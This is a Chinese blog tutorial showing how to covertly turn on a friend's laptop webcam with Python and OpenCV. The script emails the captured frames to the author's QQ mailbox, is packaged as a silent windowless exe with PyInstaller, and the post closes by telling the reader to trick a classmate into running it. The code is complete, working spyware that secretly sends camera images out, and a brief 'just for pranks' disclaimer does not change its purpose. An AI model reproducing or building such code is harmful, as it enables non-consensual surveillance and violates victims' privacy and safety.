用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
使用python分析git log日志示例
Feb 27 Python
Python re模块介绍
Nov 30 Python
python实现根据月份和日期得到星座的方法
Mar 27 Python
Python实现的序列化和反序列化二叉树算法示例
Mar 02 Python
使用python3调用wxpy模块监控linux日志并定时发送消息给群组或好友
Jun 05 Python
Python的numpy库下的几个小函数的用法(小结)
Jul 12 Python
Python搭建HTTP服务过程图解
Dec 14 Python
解决Python命令行下退格,删除,方向键乱码(亲测有效)
Jan 16 Python
Python之变量类型和if判断方式
May 05 Python
Python Tornado实现WEB服务器Socket服务器共存并实现交互的方法
May 26 Python
如何通过安装HomeBrew来安装Python3
Dec 23 Python
pd.drop_duplicates删除重复行的方法实现
Jun 16 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
PHP脚本的10个技巧(2)
2006/10/09 PHP
ini_set的用法介绍
2014/01/07 PHP
Parse正式发布开源PHP SDK
2014/08/11 PHP
关于PHP文件的自动运行方法分析
2016/05/13 PHP
THINKPHP5分页数据对象处理过程解析
2020/10/28 PHP
JS DOM 操作实现代码
2010/08/01 Javascript
表单元素的submit()方法和onsubmit事件应用概述
2013/02/01 Javascript
javascript制作的网页侧边弹出框思路及实现代码
2014/05/21 Javascript
JS来动态的修改url实现对url的增删查改
2014/09/05 Javascript
javascript trim函数在IE下不能用的解决方法
2014/09/12 Javascript
基于jquery和svg实现超炫酷的动画特效
2014/12/09 Javascript
在JavaScript中处理字符串之link()方法的使用
2015/06/08 Javascript
JS+CSS3模拟溢出滚动效果
2016/08/12 Javascript
深入理解Javascript中的作用域链和闭包
2017/04/25 Javascript
js实现音乐播放控制条
2017/09/09 Javascript
jQuery实现点击DIV同时点击CheckBox,并为DIV上背景色的实例
2017/12/18 jQuery
浅谈Node.js爬虫之网页请求模块
2018/01/11 Javascript
JQueryDOM之样式操作
2019/03/27 jQuery
webpack4 从零学习常用配置(小结)
2019/05/28 Javascript
bootstrapValidator表单校验、更改状态、新增、移除校验字段的实例代码
2020/05/19 Javascript
openlayers4.6.5实现距离量测和面积量测
2020/09/25 Javascript
Python pymongo模块常用操作分析
2018/09/01 Python
Python异常模块traceback用法实例分析
2019/10/22 Python
python 循环数据赋值实例
2019/12/02 Python
Python变量、数据类型、数据类型转换相关函数用法实例详解
2020/01/09 Python
python opencv如何实现图片绘制
2020/01/19 Python
eDreams巴西:廉价机票,酒店优惠和度假套餐
2017/04/14 全球购物
新西兰廉价汽车租赁:Snap Rentals
2018/09/14 全球购物
美体小铺法国官方网站:The Body Shop法国
2020/06/04 全球购物
澳洲CFL商城:CHEMIST FOR LESS(中文)
2021/02/28 全球购物
在校生汽车维修实习自我鉴定
2013/09/19 职场文书
《最可爱的人》教学反思
2014/02/14 职场文书
英语课前三分钟演讲稿(6篇)
2014/09/13 职场文书
2015新学期开学寄语
2015/02/26 职场文书
最美乡村教师观后感
2015/06/11 职场文书
mysql查找连续出现n次以上的数字
2022/05/11 MySQL